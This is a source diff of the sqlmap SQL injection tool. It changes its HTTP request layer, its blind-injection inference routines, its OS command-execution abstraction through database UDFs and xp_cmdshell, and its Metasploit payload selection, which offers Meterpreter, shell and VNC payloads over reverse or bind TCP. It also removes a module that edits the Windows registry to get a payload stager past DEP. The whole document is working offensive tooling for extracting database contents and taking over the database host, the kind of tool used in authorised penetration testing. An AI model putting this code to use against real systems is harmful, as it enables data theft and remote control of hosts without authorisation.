from lib.request.basic import forgeHeaders
|
||||
from lib.request.basic import parseResponse
|
||||
from lib.request.comparison import comparison
|
||||
@@ -48,12 +48,10 @@ class Connect:
|
||||
This class defines methods used to perform HTTP requests
|
||||
"""
|
||||
|
||||
|
||||
@staticmethod
|
||||
def __getPageProxy(**kwargs):
|
||||
return Connect.getPage(**kwargs)
|
||||
|
||||
|
||||
@staticmethod
|
||||
def getPage(**kwargs):
|
||||
"""
|
||||
@@ -61,7 +59,7 @@ class Connect:
|
||||
the target url page content
|
||||
"""
|
||||
|
||||
if conf.delay != None and isinstance(conf.delay, (int, float)) and conf.delay > 0:
|
||||
if conf.delay is not None and isinstance(conf.delay, (int, float)) and conf.delay > 0:
|
||||
time.sleep(conf.delay)
|
||||
|
||||
url = kwargs.get('url', conf.url).replace(" ", "%20")
|
||||
@@ -85,20 +83,24 @@ class Connect:
|
||||
else:
|
||||
requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/"
|
||||
|
||||
if silent:
|
||||
socket.setdefaulttimeout(3)
|
||||
|
||||
if direct:
|
||||
if "?" in url:
|
||||
url, params = url.split("?")
|
||||
params = urlencode(params).replace("%%", "%")
|
||||
params = urlencode(params)
|
||||
url = "%s?%s" % (url, params)
|
||||
requestMsg += "?%s" % params
|
||||
|
||||
if post:
|
||||
post = urlencode(post).replace("%%", "%")
|
||||
|
||||
elif multipart:
|
||||
multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler)
|
||||
conn = multipartOpener.open(url, multipart)
|
||||
page = conn.read()
|
||||
responseHeaders = conn.info()
|
||||
|
||||
encoding = responseHeaders.get("Content-Encoding")
|
||||
page = decodePage(page, encoding)
|
||||
|
||||
return page
|
||||
|
||||
@@ -107,7 +109,7 @@ class Connect:
|
||||
get = conf.parameters["GET"]
|
||||
|
||||
if get:
|
||||
get = urlencode(get).replace("%%", "%")
|
||||
get = urlencode(get)
|
||||
url = "%s?%s" % (url, get)
|
||||
requestMsg += "?%s" % get
|
||||
|
||||
@@ -115,18 +117,11 @@ class Connect:
|
||||
if conf.parameters.has_key("POST") and not post:
|
||||
post = conf.parameters["POST"]
|
||||
|
||||
post = urlencode(post).replace("%%", "%")
|
||||
|
||||
requestMsg += " HTTP/1.1"
|
||||
|
||||
if cookie:
|
||||
# TODO: sure about encoding the cookie?
|
||||
#cookie = urlencode(cookie).replace("%%", "%")
|
||||
cookie = cookie.replace("%%", "%")
|
||||
|
||||
try:
|
||||
# Perform HTTP request
|
||||
headers = forgeHeaders(cookie, ua)
|
||||
headers = forgeHeaders(sanitizeCookie(cookie), ua)
|
||||
req = urllib2.Request(url, post, headers)
|
||||
conn = urllib2.urlopen(req)
|
||||
|
||||
@@ -138,14 +133,15 @@ class Connect:
|
||||
|
||||
requestHeaders = "\n".join(["%s: %s" % (header, value) for header, value in req.header_items()])
|
||||
|
||||
for _, cookie in enumerate(conf.cj):
|
||||
if not cookieStr:
|
||||
cookieStr = "Cookie: "
|
||||
if not conf.dropSetCookie:
|
||||
for _, cookie in enumerate(conf.cj):
|
||||
if not cookieStr:
|
||||
cookieStr = "Cookie: "
|
||||
|
||||
cookie = str(cookie)
|
||||
index = cookie.index(" for ")
|
||||
cookie = str(cookie)
|
||||
index = cookie.index(" for ")
|
||||
|
||||
cookieStr += "%s; " % cookie[8:index]
|
||||
cookieStr += "%s; " % cookie[8:index]
|
||||
|
||||
if not req.has_header("Cookie") and cookieStr:
|
||||
requestHeaders += "\n%s" % cookieStr[:-2]
|
||||
@@ -168,6 +164,9 @@ class Connect:
|
||||
status = conn.msg
|
||||
responseHeaders = conn.info()
|
||||
|
||||
encoding = responseHeaders.get("Content-Encoding")
|
||||
page = decodePage(page, encoding)
|
||||
|
||||
except urllib2.HTTPError, e:
|
||||
if e.code == 401:
|
||||
exceptionMsg = "not authorized, try to provide right HTTP "
|
||||
@@ -193,6 +192,9 @@ class Connect:
|
||||
warnMsg += "status code, try to force the HTTP User-Agent "
|
||||
warnMsg += "header with option --user-agent or -a"
|
||||
|
||||
else:
|
||||
warnMsg = "unable to connect to the target url"
|
||||
|
||||
if "BadStatusLine" not in tbMsg:
|
||||
warnMsg += " or proxy"
|
||||
|
||||
@@ -202,7 +204,7 @@ class Connect:
|
||||
|
||||
return None, None
|
||||
|
||||
if silent == True:
|
||||
if silent:
|
||||
return None, None
|
||||
|
||||
elif conf.retriesCount < conf.retries:
|
||||
@@ -213,11 +215,15 @@ class Connect:
|
||||
|
||||
time.sleep(1)
|
||||
|
||||
return Connect.__getPageProxy(url=url, get=get, post=post, cookie=cookie, ua=ua, direct=direct, multipart=multipart, silent=silent)
|
||||
socket.setdefaulttimeout(conf.timeout)
|
||||
return Connect.__getPageProxy(**kwargs)
|
||||
|
||||
else:
|
||||
socket.setdefaulttimeout(conf.timeout)
|
||||
raise sqlmapConnectionException, warnMsg
|
||||
|
||||
socket.setdefaulttimeout(conf.timeout)
|
||||
|
||||
parseResponse(page, responseHeaders)
|
||||
responseMsg += "(%s - %d):\n" % (status, code)
|
||||
|
||||
@@ -230,7 +236,6 @@ class Connect:
|
||||
|
||||
return page, responseHeaders
|
||||
|
||||
|
||||
@staticmethod
|
||||
def queryPage(value=None, place=None, content=False, getSeqMatcher=False, silent=False):
|
||||
"""
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
import time
|
||||
|
||||
@@ -44,8 +42,7 @@ from lib.techniques.blind.inference import bisection
|
||||
from lib.utils.resume import queryOutputLength
|
||||
from lib.utils.resume import resume
|
||||
|
||||
|
||||
def __goInference(payload, expression, charsetType=None):
|
||||
def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None):
|
||||
start = time.time()
|
||||
|
||||
if ( conf.eta or conf.threads > 1 ) and kb.dbms:
|
||||
@@ -55,7 +52,7 @@ def __goInference(payload, expression, charsetType=None):
|
||||
|
||||
dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression))
|
||||
|
||||
count, value = bisection(payload, expression, length, charsetType)
|
||||
count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar)
|
||||
duration = int(time.time() - start)
|
||||
|
||||
if conf.eta and length:
|
||||
@@ -67,8 +64,7 @@ def __goInference(payload, expression, charsetType=None):
|
||||
|
||||
return value
|
||||
|
||||
|
||||
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None):
|
||||
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None, firstChar=None, lastChar=None):
|
||||
outputs = []
|
||||
origExpr = None
|
||||
|
||||
@@ -87,7 +83,7 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
|
||||
else:
|
||||
expressionReplaced = expression.replace(expressionFields, field, 1)
|
||||
|
||||
if resumeValue == True:
|
||||
if resumeValue:
|
||||
output = resume(expressionReplaced, payload)
|
||||
|
||||
if not output or ( expected == "int" and not output.isdigit() ):
|
||||
@@ -96,7 +92,7 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
|
||||
warnMsg += "sqlmap is going to retrieve the value again"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
output = __goInference(payload, expressionReplaced, charsetType)
|
||||
output = __goInference(payload, expressionReplaced, charsetType, firstChar, lastChar)
|
||||
|
||||
if isinstance(num, int):
|
||||
expression = origExpr
|
||||
@@ -105,8 +101,7 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
|
||||
|
||||
return outputs
|
||||
|
||||
|
||||
def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None):
|
||||
def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None, firstChar=None, lastChar=None):
|
||||
"""
|
||||
Retrieve the output of a SQL query characted by character taking
|
||||
advantage of an blind SQL injection vulnerability on the affected
|
||||
@@ -124,16 +119,16 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
|
||||
untilLimitChar = None
|
||||
untilOrderChar = None
|
||||
|
||||
if resumeValue == True:
|
||||
if resumeValue:
|
||||
output = resume(expression, payload)
|
||||
else:
|
||||
output = None
|
||||
|
||||
if output and ( expected == None or ( expected == "int" and output.isdigit() ) ):
|
||||
if output and ( expected is None or ( expected == "int" and output.isdigit() ) ):
|
||||
return output
|
||||
|
||||
if unpack == False:
|
||||
return __goInference(payload, expression, charsetType)
|
||||
if not unpack:
|
||||
return __goInference(payload, expression, charsetType, firstChar, lastChar)
|
||||
|
||||
if kb.dbmsDetected:
|
||||
_, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)
|
||||
@@ -205,7 +200,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
|
||||
if not stopLimit or stopLimit <= 1:
|
||||
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
|
||||
test = "n"
|
||||
elif batch == True:
|
||||
elif batch:
|
||||
test = "y"
|
||||
else:
|
||||
message = "can the SQL query provided return "
|
||||
@@ -221,17 +216,17 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
|
||||
untilOrderChar = countedExpression.index(" ORDER BY ")
|
||||
countedExpression = countedExpression[:untilOrderChar]
|
||||
|
||||
if resumeValue == True:
|
||||
if resumeValue:
|
||||
count = resume(countedExpression, payload)
|
||||
|
||||
if not stopLimit:
|
||||
if not count or not count.isdigit():
|
||||
count = __goInference(payload, countedExpression, charsetType)
|
||||
count = __goInference(payload, countedExpression, charsetType, firstChar, lastChar)
|
||||
|
||||
if count and count.isdigit() and int(count) > 0:
|
||||
count = int(count)
|
||||
|
||||
if batch == True:
|
||||
if batch:
|
||||
stopLimit = count
|
||||
else:
|
||||
message = "the SQL query provided can return "
|
||||
@@ -297,7 +292,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
|
||||
return None
|
||||
|
||||
for num in xrange(startLimit, stopLimit):
|
||||
output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType)
|
||||
output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
|
||||
outputs.append(output)
|
||||
|
||||
return outputs
|
||||
@@ -305,16 +300,15 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
|
||||
elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression:
|
||||
expression = "%s FROM DUAL" % expression
|
||||
|
||||
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType)
|
||||
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
|
||||
|
||||
returnValue = ", ".join([output for output in outputs])
|
||||
|
||||
else:
|
||||
returnValue = __goInference(payload, expression, charsetType)
|
||||
returnValue = __goInference(payload, expression, charsetType, firstChar, lastChar)
|
||||
|
||||
return returnValue
|
||||
|
||||
|
||||
def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=True):
|
||||
"""
|
||||
Retrieve the output of a SQL query taking advantage of an inband SQL
|
||||
@@ -330,7 +324,7 @@ def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=Tr
|
||||
and expression in kb.resumedQueries[conf.url].keys()
|
||||
)
|
||||
|
||||
if condition and resumeValue == True:
|
||||
if condition and resumeValue:
|
||||
output = resume(expression, None)
|
||||
|
||||
if not output or ( expected == "int" and not output.isdigit() ):
|
||||
@@ -344,8 +338,7 @@ def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=Tr
|
||||
|
||||
return data
|
||||
|
||||
|
||||
def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None):
|
||||
def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None):
|
||||
"""
|
||||
Called each time sqlmap inject a SQL query on the SQL injection
|
||||
affected parameter. It can call a function to retrieve the output
|
||||
@@ -375,14 +368,13 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None,
|
||||
conf.paramNegative = False
|
||||
|
||||
if blind and not value:
|
||||
value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType)
|
||||
value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType, firstChar, lastChar)
|
||||
|
||||
conf.paramFalseCond = oldParamFalseCond
|
||||
conf.paramNegative = oldParamNegative
|
||||
|
||||
return value
|
||||
|
||||
|
||||
def goStacked(expression, silent=False):
|
||||
expression = cleanQuery(expression)
|
||||
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import httplib
|
||||
import socket
|
||||
import urllib
|
||||
@@ -31,11 +29,9 @@ import urllib2
|
||||
|
||||
from lib.core.settings import PYVERSION
|
||||
|
||||
|
||||
if PYVERSION >= "2.6":
|
||||
import ssl
|
||||
|
||||
|
||||
class ProxyHTTPConnection(httplib.HTTPConnection):
|
||||
_ports = {"http" : 80, "https" : 443}
|
||||
|
||||
@@ -65,7 +61,6 @@ class ProxyHTTPConnection(httplib.HTTPConnection):
|
||||
|
||||
httplib.HTTPConnection.request(self, method, rest, body, headers)
|
||||
|
||||
|
||||
def connect(self):
|
||||
httplib.HTTPConnection.connect(self)
|
||||
|
||||
@@ -91,7 +86,6 @@ class ProxyHTTPConnection(httplib.HTTPConnection):
|
||||
if line == "\r\n":
|
||||
break
|
||||
|
||||
|
||||
class ProxyHTTPSConnection(ProxyHTTPConnection):
|
||||
default_port = 443
|
||||
|
||||
@@ -111,7 +105,6 @@ class ProxyHTTPSConnection(ProxyHTTPConnection):
|
||||
sslobj = socket.ssl(self.sock, self.key_file, self.cert_file)
|
||||
self.sock = httplib.FakeSocket(self.sock, sslobj)
|
||||
|
||||
|
||||
class ProxyHTTPHandler(urllib2.HTTPHandler):
|
||||
def __init__(self, proxy=None, debuglevel=0):
|
||||
self.proxy = proxy
|
||||
@@ -124,7 +117,6 @@ class ProxyHTTPHandler(urllib2.HTTPHandler):
|
||||
|
||||
return urllib2.HTTPHandler.do_open(self, ProxyHTTPConnection, req)
|
||||
|
||||
|
||||
class ProxyHTTPSHandler(urllib2.HTTPSHandler):
|
||||
def __init__(self, proxy=None, debuglevel=0):
|
||||
self.proxy = proxy
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
@@ -34,7 +32,6 @@ from lib.core.shell import autoCompletion
|
||||
from lib.takeover.udf import UDF
|
||||
from lib.takeover.xp_cmdshell import xp_cmdshell
|
||||
|
||||
|
||||
class Abstraction(UDF, xp_cmdshell):
|
||||
"""
|
||||
This class defines an abstraction layer for OS takeover functionalities
|
||||
@@ -47,10 +44,21 @@ class Abstraction(UDF, xp_cmdshell):
|
||||
UDF.__init__(self)
|
||||
xp_cmdshell.__init__(self)
|
||||
|
||||
def __cmdShellCleanup(self):
|
||||
if not conf.cleanup:
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
self.cleanup()
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
else:
|
||||
errMsg = "Feature not yet implemented for the back-end DBMS"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
def execCmd(self, cmd, silent=False, forgeCmd=False):
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
self.udfExecCmd(cmd, silent)
|
||||
self.udfExecCmd(cmd, silent=silent)
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
self.xpCmdshellExecCmd(cmd, silent, forgeCmd)
|
||||
@@ -59,19 +67,17 @@ class Abstraction(UDF, xp_cmdshell):
|
||||
errMsg = "Feature not yet implemented for the back-end DBMS"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def evalCmd(self, cmd):
|
||||
def evalCmd(self, cmd, first=None, last=None):
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
return self.udfEvalCmd(cmd)
|
||||
return self.udfEvalCmd(cmd, first, last)
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
return self.xpCmdshellEvalCmd(cmd)
|
||||
return self.xpCmdshellEvalCmd(cmd, first, last)
|
||||
|
||||
else:
|
||||
errMsg = "Feature not yet implemented for the back-end DBMS"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def runCmd(self, cmd):
|
||||
getOutput = None
|
||||
|
||||
@@ -89,9 +95,8 @@ class Abstraction(UDF, xp_cmdshell):
|
||||
else:
|
||||
self.execCmd(cmd, forgeCmd=True)
|
||||
|
||||
if kb.dbms == "Microsoft SQL Server":
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
if not conf.osShell and not conf.cleanup:
|
||||
self.__cmdShellCleanup()
|
||||
|
||||
def absOsShell(self):
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
@@ -138,35 +143,25 @@ class Abstraction(UDF, xp_cmdshell):
|
||||
|
||||
self.runCmd(command)
|
||||
|
||||
if not conf.cleanup:
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
self.cleanup()
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
else:
|
||||
errMsg = "Feature not yet implemented for the back-end DBMS"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
self.__cmdShellCleanup()
|
||||
|
||||
def initEnv(self, mandatory=True, detailed=False):
|
||||
if self.envInitialized == True:
|
||||
if self.envInitialized:
|
||||
return
|
||||
|
||||
self.checkDbmsOs(detailed)
|
||||
|
||||
if self.isDba() == False:
|
||||
if not self.isDba():
|
||||
warnMsg = "the functionality requested might not work because "
|
||||
warnMsg += "the session user is not a database administrator"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
self.udfInit()
|
||||
self.udfInjectCmd()
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
self.xpCmdshellInit(mandatory)
|
||||
|
||||
else:
|
||||
errMsg = "Feature not yet implemented for the back-end DBMS"
|
||||
errMsg = "feature not yet implemented for the back-end DBMS"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
@@ -1,171 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.session import setDEP
|
||||
|
||||
|
||||
class DEP:
|
||||
"""
|
||||
This class defines methods to handle DEP (Data Execution Prevention)
|
||||
|
||||
The following operating systems has DEP enabled by default:
|
||||
* Windows XP SP2+
|
||||
* Windows Server 2003 SP1+
|
||||
* Windows Vista SP0+
|
||||
* Windows 2008 SP0+
|
||||
|
||||
References:
|
||||
* http://support.microsoft.com/kb/875352
|
||||
* http://en.wikipedia.org/wiki/Data_Execution_Prevention
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.bypassDEP = False
|
||||
self.__supportDEP = False
|
||||
|
||||
|
||||
def __initVars(self, exe):
|
||||
self.__DEPvalues = {
|
||||
"OPTIN": "only Windows system binaries are covered by DEP by default",
|
||||
"OPTOUT": "DEP is enabled by default for all processes, exceptions are allowed",
|
||||
"ALWAYSON": "all processes always run with DEP applied, no exceptions allowed, giving it a try anyway",
|
||||
"ALWAYSOFF": "no DEP coverage for any part of the system"
|
||||
}
|
||||
self.__excRegKey = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers"
|
||||
self.__excRegValue = exe
|
||||
self.__excRegValue = self.__excRegValue.replace("/", "\\")
|
||||
|
||||
|
||||
def __addException(self):
|
||||
infoMsg = "adding an exception to DEP in the Windows registry "
|
||||
infoMsg += "for '%s' executable" % self.__excRegValue
|
||||
|
||||
logger.info(infoMsg)
|
||||
|
||||
if kb.dbms == "PostgreSQL":
|
||||
warnMsg = "by default PostgreSQL server runs as postgres "
|
||||
warnMsg += "user which has no privileges to add/delete "
|
||||
warnMsg += "Windows registry keys, sqlmap will give it a try "
|
||||
warnMsg += "anyway"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
self.addRegKey(self.__excRegKey, self.__excRegValue, "REG_SZ", "DisableNXShowUI")
|
||||
|
||||
|
||||
def delException(self):
|
||||
if self.bypassDEP == False:
|
||||
return
|
||||
|
||||
infoMsg = "deleting the exception to DEP in the Windows registry "
|
||||
infoMsg += "for Metasploit Framework 3 payload stager"
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.delRegKey(self.__excRegKey, self.__excRegValue)
|
||||
|
||||
|
||||
def __analyzeDEP(self):
|
||||
detectedValue = False
|
||||
|
||||
for value, explanation in self.__DEPvalues.items():
|
||||
if value in kb.dep:
|
||||
detectedValue = True
|
||||
|
||||
if value in ( "OPTIN", "ALWAYSOFF" ):
|
||||
logger.info(explanation)
|
||||
|
||||
self.bypassDEP = False
|
||||
|
||||
elif value == "OPTOUT":
|
||||
logger.info(explanation)
|
||||
|
||||
self.bypassDEP = True
|
||||
self.__addException()
|
||||
|
||||
elif value == "ALWAYSON":
|
||||
logger.warn(explanation)
|
||||
|
||||
self.bypassDEP = True
|
||||
self.__addException()
|
||||
|
||||
if detectedValue == False:
|
||||
warnMsg = "it was not possible to detect the DEP system "
|
||||
warnMsg += "policy, sqlmap will threat as if "
|
||||
warnMsg += "%s" % self.__DEPvalues["OPTOUT"]
|
||||
logger.warn(warnMsg)
|
||||
|
||||
self.__addException()
|
||||
|
||||
|
||||
def __systemHasDepSupport(self):
|
||||
depEnabledOS = {
|
||||
"2003": ( 1, 2 ),
|
||||
"2008": ( 0, 1 ),
|
||||
"XP": ( 2, 3 ),
|
||||
"Vista": ( 0, 1 ),
|
||||
}
|
||||
|
||||
for version, sps in depEnabledOS.items():
|
||||
if kb.osVersion == version and kb.osSP in sps:
|
||||
self.__supportDEP = True
|
||||
break
|
||||
|
||||
|
||||
def handleDep(self, exe):
|
||||
logger.info("handling DEP")
|
||||
|
||||
self.__systemHasDepSupport()
|
||||
|
||||
if self.__supportDEP == True:
|
||||
infoMsg = "the back-end DBMS underlying operating system "
|
||||
infoMsg += "supports DEP: going to handle it"
|
||||
logger.info(infoMsg)
|
||||
|
||||
elif not kb.osVersion or not kb.osSP:
|
||||
warnMsg = "unable to fingerprint the back-end DBMS "
|
||||
warnMsg += "underlying operating system version and service "
|
||||
warnMsg += "pack: going to threat as if DEP is enabled"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
self.bypassDEP = True
|
||||
|
||||
else:
|
||||
infoMsg = "the back-end DBMS underlying operating system "
|
||||
infoMsg += "does not support DEP: no need to handle it"
|
||||
logger.info(infoMsg)
|
||||
|
||||
return
|
||||
|
||||
logger.info("checking DEP system policy")
|
||||
|
||||
self.__initVars(exe)
|
||||
|
||||
if not kb.dep:
|
||||
kb.dep = self.readRegKey("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control", "SystemStartOptions", True).upper()
|
||||
setDEP()
|
||||
|
||||
self.__analyzeDEP()
|
||||
@@ -22,9 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import binascii
|
||||
import os
|
||||
import re
|
||||
import stat
|
||||
@@ -67,24 +64,23 @@ class Metasploit:
|
||||
self.portStr = None
|
||||
self.payloadStr = None
|
||||
self.encoderStr = None
|
||||
self.payloadConnStr = None
|
||||
|
||||
self.resourceFile = None
|
||||
|
||||
self.localIP = getLocalIP()
|
||||
self.remoteIP = getRemoteIP()
|
||||
|
||||
self.__msfCli = os.path.normpath("%s/msfcli" % conf.msfPath)
|
||||
self.__msfConsole = os.path.normpath("%s/msfconsole" % conf.msfPath)
|
||||
self.__msfEncode = os.path.normpath("%s/msfencode" % conf.msfPath)
|
||||
self.__msfPayload = os.path.normpath("%s/msfpayload" % conf.msfPath)
|
||||
self.__msfCli = os.path.normpath(os.path.join(conf.msfPath, "msfcli"))
|
||||
self.__msfConsole = os.path.normpath(os.path.join(conf.msfPath, "msfconsole"))
|
||||
self.__msfEncode = os.path.normpath(os.path.join(conf.msfPath, "msfencode"))
|
||||
self.__msfPayload = os.path.normpath(os.path.join(conf.msfPath, "msfpayload"))
|
||||
|
||||
self.__msfPayloadsList = {
|
||||
"windows": {
|
||||
1: ( "Reflective Meterpreter (default)", "windows/meterpreter" ),
|
||||
2: ( "PatchUp Meterpreter (only from Metasploit development revision 6742)", "windows/patchupmeterpreter" ),
|
||||
3: ( "Shell", "windows/shell" ),
|
||||
4: ( "Reflective VNC", "windows/vncinject" ),
|
||||
5: ( "PatchUp VNC (only from Metasploit development revision 6742)", "windows/patchupvncinject" ),
|
||||
1: ( "Meterpreter (default)", "windows/meterpreter" ),
|
||||
2: ( "Shell", "windows/shell" ),
|
||||
3: ( "VNC", "windows/vncinject" ),
|
||||
},
|
||||
"linux": {
|
||||
1: ( "Shell", "linux/x86/shell" ),
|
||||
@@ -93,14 +89,13 @@ class Metasploit:
|
||||
|
||||
self.__msfConnectionsList = {
|
||||
"windows": {
|
||||
1: ( "Bind TCP (default)", "bind_tcp" ),
|
||||
2: ( "Bind TCP (No NX)", "bind_nonx_tcp" ),
|
||||
3: ( "Reverse TCP", "reverse_tcp" ),
|
||||
4: ( "Reverse TCP (No NX)", "reverse_nonx_tcp" ),
|
||||
1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
|
||||
2: ( "Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports" ),
|
||||
3: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ),
|
||||
},
|
||||
"linux": {
|
||||
1: ( "Bind TCP (default)", "bind_tcp" ),
|
||||
2: ( "Reverse TCP", "reverse_tcp" ),
|
||||
1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
|
||||
2: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -130,11 +125,10 @@ class Metasploit:
|
||||
}
|
||||
|
||||
self.__portData = {
|
||||
"bind": "remote port numer",
|
||||
"reverse": "local port numer",
|
||||
"bind": "remote port number",
|
||||
"reverse": "local port number",
|
||||
}
|
||||
|
||||
|
||||
def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
|
||||
if kb.os == "Windows":
|
||||
opSys = "windows"
|
||||
@@ -180,22 +174,22 @@ class Metasploit:
|
||||
|
||||
return choice
|
||||
|
||||
|
||||
def __selectSMBPort(self):
|
||||
return self.__skeletonSelection("SMB port", self.__msfSMBPortsList)
|
||||
|
||||
|
||||
def __selectEncoder(self, encode=True):
|
||||
if kb.os == "Windows" and encode == True:
|
||||
if isinstance(encode, str):
|
||||
return encode
|
||||
|
||||
elif kb.os == "Windows" and encode:
|
||||
return self.__skeletonSelection("payload encoding", self.__msfEncodersList)
|
||||
|
||||
|
||||
def __selectPayload(self, askChurrasco=True):
|
||||
if kb.os == "Windows" and conf.privEsc == True:
|
||||
if kb.os == "Windows" and conf.privEsc:
|
||||
infoMsg = "forcing Metasploit payload to Meterpreter because "
|
||||
infoMsg += "it is the only payload that can be used to abuse "
|
||||
infoMsg += "Windows Impersonation Tokens via Meterpreter "
|
||||
infoMsg += "'incognito' extension to privilege escalate"
|
||||
infoMsg += "it is the only payload that can abuse Windows "
|
||||
infoMsg += "Access Tokens via Meterpreter 'incognito' "
|
||||
infoMsg += "extension to privilege escalate"
|
||||
logger.info(infoMsg)
|
||||
|
||||
__payloadStr = "windows/meterpreter"
|
||||
@@ -224,15 +218,15 @@ class Metasploit:
|
||||
choose = True
|
||||
|
||||
